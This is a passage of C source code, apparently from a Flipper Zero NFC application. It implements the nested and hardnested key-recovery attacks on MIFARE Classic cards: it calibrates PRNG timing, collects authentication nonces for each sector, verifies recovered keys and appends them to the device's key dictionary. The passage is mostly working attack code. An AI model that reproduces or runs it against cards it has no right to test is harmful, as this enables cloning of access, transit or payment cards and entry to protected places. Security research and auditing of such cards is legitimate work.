MifareNestedWorkerStateCollecting) { first_distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true); } if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) { second_distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true); } if(first_distance == 0 && second_distance == 0) { nfc_deactivate(); free(mf_data); free_nonces(&nonces, sector_count, 3); mifare_nested_worker_change_state( mifare_nested_worker, MifareNestedWorkerStateCollectingHard); mifare_nested_worker_collect_nonces_hard(mifare_nested_worker); return; } if(first_distance < second_distance - 100 && second_distance > 100) { FURI_LOG_E( TAG, "Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu", first_distance, second_distance); struct distance_info info = nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key); if(info.max_prng - info.min_prng > 150) { FURI_LOG_W( TAG, "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method", info.max_prng, info.min_prng, info.max_prng - info.min_prng); delay = 1; } else { FURI_LOG_I( TAG, "PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)"); distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true); delay = 2; tries_count = 3; } } if(distance == 0 || delay == 1) { bool failed = false; // Tag need delay or unpredictable PRNG FURI_LOG_W(TAG, "Can't determine distance, trying to find timing..."); mifare_nested_worker->callback( MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context); delay = mifare_nested_worker_predict_delay( &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker); if(delay == 1) { FURI_LOG_E(TAG, "Can't determine delay"); // Check that we didn't lost tag FuriHalNfcDevData lost_tag_data = {}; nested_get_data(&lost_tag_data); if(lost_tag_data.uid_len == 0) { // We lost it. mifare_nested_worker->callback( MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context); while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && lost_tag_data.cuid != data.cuid) { furi_delay_ms(250); nested_get_data(&lost_tag_data); } mifare_nested_worker->callback( MifareNestedWorkerEventCalibrating, mifare_nested_worker->context); continue; } failed = true; } if(delay == 2) { FURI_LOG_E(TAG, "Can't determine delay in 25 tries, fallback to hardnested"); nfc_deactivate(); free(mf_data); free_nonces(&nonces, sector_count, 3); mifare_nested_worker_change_state( mifare_nested_worker, MifareNestedWorkerStateCollectingHard); mifare_nested_worker_collect_nonces_hard(mifare_nested_worker); return; } if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) { distance = nested_calibrate_distance( &tx_rx, key_block, found_key_type, key, delay, false); } if(distance == 0 && !failed) { FURI_LOG_E(TAG, "Found delay, but can't find distance"); failed = true; } if(failed) { nfc_deactivate(); mifare_nested_worker->callback( MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context); free(mf_data); free_nonces(&nonces, sector_count, 3); return; } tries_count = 3; } mifare_nested_worker->context->nonces = &nonces; mifare_nested_worker->callback( MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); for(uint8_t tries = 0; tries < tries_count; tries++) { for(uint8_t sector = 0; sector < sector_count; sector++) { for(uint8_t key_type = 0; key_type < 2; key_type++) { Nonces* info = nonces.nonces[sector][key_type][tries]; if(info->collected) { FURI_LOG_I( TAG, "Skipping sector %u, block %u, key_type: %u as we already have a key", sector, mifare_nested_worker_get_block_by_sector(sector), key_type); info->skipped = true; nonces.nonces[sector][key_type][tries] = info; mifare_nested_worker->context->nonces = &nonces; mifare_nested_worker->callback( MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); continue; } if(!nested_check_block( &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) { FURI_LOG_E( TAG, "Skipping sector %u, block %u, key_type: %u as we can't auth on it", sector, mifare_nested_worker_get_block_by_sector(sector), key_type); info->skipped = true; nonces.nonces[sector][key_type][0] = info; mifare_nested_worker->context->nonces = &nonces; mifare_nested_worker->callback( MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); continue; } while(!info->collected) { if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) { break; } struct nonce_info result = nested_attack( &tx_rx, key_block, found_key_type, mifare_nested_worker_get_block_by_sector(sector), key_type, key, distance, delay); if(result.full) { FURI_LOG_I( TAG, "Accured nonces for sector %u, block %u, key_type: %u", sector, mifare_nested_worker_get_block_by_sector(sector), key_type); info = nonces.nonces[sector][key_type][tries]; info->collected = true; info->skipped = false; memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt)); memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks)); memcpy(&info->parity, result.parity, sizeof(result.parity)); nonces.nonces[sector][key_type][tries] = info; nonces.cuid = result.cuid; nonces.sector_count = sector_count; nonces.tries = tries_count; mifare_nested_worker->context->nonces = &nonces; mifare_nested_worker->callback( MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); break; } else { mifare_nested_worker->callback( MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context); } } } } } break; } SaveNoncesResult_t* result = mifare_nested_worker_write_nonces( &data, storage, &nonces, tries_count, 3, sector_count, delay, distance); free(mf_data); if(result->saved) { mifare_nested_worker->callback( MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); } else { mifare_nested_worker->context->save_state = result; mifare_nested_worker->callback( MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context); } nfc_deactivate(); } bool* mifare_nested_worker_check_keys_exists( Storage* storage, char* path, uint64_t* keys, uint32_t key_count, MifareNestedWorker* mifare_nested_worker) { bool* old_keys = malloc(sizeof(bool) * key_count); Stream* file_stream = file_stream_alloc(storage); file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS); FuriString* key_strings[key_count]; for(uint32_t i = 0; i < key_count; i++) { old_keys[i] = false; key_strings[i] = furi_string_alloc_printf("%012llX\n", keys[i]); } while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) { FuriString* next_line = furi_string_alloc(); if(!stream_read_line(file_stream, next_line)) { break; } for(uint32_t i = 0; i < key_count; i++) { if(keys[i] == (uint64_t)-1) continue; if(furi_string_cmp(next_line, key_strings[i]) == 0) { old_keys[i] = true; } } furi_string_free(next_line); } for(uint32_t i = 0; i < key_count; i++) { furi_string_free(key_strings[i]); } file_stream_close(file_stream); free(file_stream); return old_keys; } void mifare_nested_worker_write_key(Storage* storage, FuriString* key) { Stream* file_stream = file_stream_alloc(storage); file_stream_open( file_stream, EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"), FSAM_READ_WRITE, FSOM_OPEN_APPEND); stream_write_string(file_stream, key); file_stream_close(file_stream); } void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) { KeyInfo_t* key_info = mifare_nested_worker->context->keys; Storage* storage = furi_record_open(RECORD_STORAGE); Stream* file_stream = file_stream_alloc(storage); FuriString* next_line = furi_string_alloc(); FuriString* path = furi_string_alloc(); FuriHalNfcDevData data = {}; nested_get_data(&data); MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak); NestedCheckKeyResult result = NestedCheckKeyNoTag; FuriHalNfcTxRxContext tx_rx = {}; uint32_t key_count = 0; uint32_t sector_key_count = 0; uint64_t keys[80]; bool found_keys[2][40]; bool unique_keys[2][40]; uint32_t sector_count = 0; if(type == MfClassicType4k) { sector_count = 40; FURI_LOG_I(TAG, "Found Mifare Classic 4K tag"); } else if(type == MfClassicType1k) { sector_count = 16; FURI_LOG_I(TAG, "Found Mifare Classic 1K tag"); } else { // if(type == MfClassicTypeMini) sector_count = 5; FURI_LOG_I(TAG, "Found Mifare Classic Mini tag"); } uint32_t keys_count = sector_count * 2; for(uint8_t key = 0; key < 2; key++) { for(uint8_t i = 0; i < sector_count; i++) { found_keys[key][i] = false; unique_keys[key][i] = false; } } for(uint8_t i = 0; i < keys_count; i++) { keys[i] = -1; } mifare_nested_worker_get_found_keys_file_path(&data, path); if(!file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { FURI_LOG_E(TAG, "Can't open %s", furi_string_get_cstr(path)); file_stream_close(file_stream); mifare_nested_worker_get_nonces_file_path(&data, path); if(!file_stream_open( file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { mifare_nested_worker->callback( MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context); } else { mifare_nested_worker->callback( MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context); } file_stream_close(file_stream); free(file_stream); furi_string_free(path); furi_string_free(next_line); furi_record_close(RECORD_STORAGE); return; }; while(true) { if(!stream_read_line(file_stream, next_line)) { break; } if(furi_string_start_with_str(next_line, "Key")) { uint8_t key_type = furi_string_get_char(next_line, 4) == 'B'; uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 + atoi((char[]){furi_string_get_char(next_line, 14)}); if(!unique_keys[key_type][sector]) { unique_keys[key_type][sector] = true; sector_key_count++; } } key_count++; } stream_rewind(file_stream); key_info->total_keys = key_count; key_info->sector_keys = sector_key_count; while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) { if(!stream_read_line(file_stream, next_line)) { break; } if(furi_string_start_with_str(next_line, "Key")) { // Key X sector XX: XX XX XX XX XX XX // 0000000000111111111122222222223333 // 0123456789012345678901234567890123 uint8_t keyChar[6]; uint8_t count = 0; uint8_t key_type = furi_string_get_char(next_line, 4) == 'B'; uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 + atoi((char[]){furi_string_get_char(next_line, 14)}); for(uint8_t i = 17; i < 33; i += 3) { hex_char_to_uint8( furi_string_get_char(next_line, i), furi_string_get_char(next_line, i + 1), &keyChar[count]); count++; } uint64_t key = nfc_util_bytes2num(keyChar, 6); key_info->checked_keys++; if(found_keys[key_type][sector]) { mifare_nested_worker->callback( MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context); continue; } while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) { result = nested_check_key( &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key); if(result == NestedCheckKeyNoTag) { mifare_nested_worker->callback( MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context); furi_delay_ms(250); } else { break; } } if(result == NestedCheckKeyValid) { FURI_LOG_I( TAG, "Found valid %c key for sector %u: %012llX", key_type, sector, key); bool exists = false; for(uint8_t i = 0; i < keys_count; i++) { if(keys[i] == key) { exists = true; } } if(!exists) { keys[key_info->found_keys] = key; } key_info->found_keys++; found_keys[key_type][sector] = true; } mifare_nested_worker->callback( MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context); } } furi_string_free(next_line); file_stream_close(file_stream); free(file_stream); mifare_nested_worker->callback( MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context); bool* old_keys = mifare_nested_worker_check_keys_exists( storage, EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"), keys, keys_count, mifare_nested_worker); for(uint8_t i = 0; i < keys_count; i++) { if(old_keys[i]) { keys[i] = -1; } } old_keys = mifare_nested_worker_check_keys_exists( storage, EXT_PATH("nfc/assets/mf_classic_dict.nfc"), keys, keys_count, mifare_nested_worker); for(uint8_t i = 0; i < keys_count; i++) { if(old_keys[i]) { keys[i] = -1; } } for(uint8_t i = 0; i < keys_count; i++) { if(keys[i] == (uint64_t)-1) continue; FuriString* key_string = furi_string_alloc_printf("%012llX\n", keys[i]); mifare_nested_worker_write_key(storage, key_string); FURI_LOG_I(TAG, "Added new key: %s", furi_string_get_cstr(key_string)); key_info->added_keys++; furi_string_free(key_string); } if(!storage_simply_remove(storage, furi_string_get_cstr(path))) { FURI_LOG_E(TAG, "Failed to remove .keys file"); } furi_record_close(RECORD_STORAGE); furi_string_free(path); mifare_nested_worker->callback( MifareNestedWorkerEventKeysFound, mifare_nested_worker->context); return; }